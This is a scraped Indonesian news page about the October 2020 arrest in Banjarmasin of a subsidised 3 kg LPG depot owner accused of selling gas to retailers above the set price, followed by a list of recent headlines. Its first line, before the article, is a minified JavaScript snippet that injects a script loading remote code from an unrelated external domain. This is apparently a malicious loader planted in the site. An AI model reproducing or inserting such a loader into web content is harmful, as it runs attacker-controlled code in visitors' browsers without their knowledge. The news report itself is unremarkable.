(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Jual ke Pengecer, Pemilik Pangkalan LPG 3 Kg di Jahri Saleh Ditangkap


KANALKALIMANTAN.COM, BANJARMASIN –  Lagi, Subdit 1 Tindak Pidana Indagsi Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalsel menindak tegas pelaku usaha LPG 3 Kg bersubsidi yang menjual di atas harga eceran tertinggi (HET).

Sebuah pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh No 69 RT 12 RW 02, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara, Kota Banjarmasin, Minggu (4/10/2020) pukul 00.45 Wita, di-police line petugas.

Direktur Reskrimsus Polda Kalsel Kombes Pol Masrur melalui Kabid Humas Polda Kalsel Kombes Pol Mochamad Rifa’i menuturkan, sang pemilik pangkalan berinisial IG alias IS (55) diketahui memperdagangkan LPG 3 Kg kepada pengecer dengan jumlah banyak.

“IG (pemilik pangkalan) menjual mulai dari harga Rp 18.000 per tabung sampai dengan harga Rp 23.000 per tabung,” kata Kabid Humas Polda Kalsel.

Pangkalan gas 3 Kg bersubdisi di jalan Simpang Jahri Saleh, Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara yang ditindak, Minggu (4/10/2020) pukul 00.45 Wita. foto: humas polda kalsel

Bersamaan dengan diamankannya pelaku, petugas juga menyita barang bukti LPG 3 Kg bersubsidi sebanyak 940 tabung terdiri dari LPG 3 Kg (isi) sebanyak 119 tabung, LPG 3 Kg bersubsidi (kosong) sebanyak 821 tabung, 1 unit gerobak kayu, 1 lembar spanduk harga HET, serta log book penyaluran LPG 3 Kg bulan Januari sampai dengan Agustus 2020 masing-masing 1 bundel.

Perbuatan IG alias IS yang memperdagangkan LPG 3 Kg bersubsidi melebihi ketentuan harga penjualan ke konsumen tersebut telah melanggar pasal 62 Ayat (1) Jo pasal 10 huruf (a) UU RI No.8 tahun 1999 tentang perlindungan konsumen Jo Peraturan Presiden Republik Indonesia Nomor 71 tahun 2015 tentang penetapan dan penyimpanan barang kebutuhan pokok dan penting.

“Ini sesjuai instruksi Kapolda Kalsel Irjen Pol Dr Nico Afinta untuk melakukan penindakan terhadap oknum yang melakukan permainan LPG bersubsidi oleh anggota di lapangan,” tandas Kabid Humas Polda Kalsel. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk

 


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

7 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

21 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

22 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

24 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.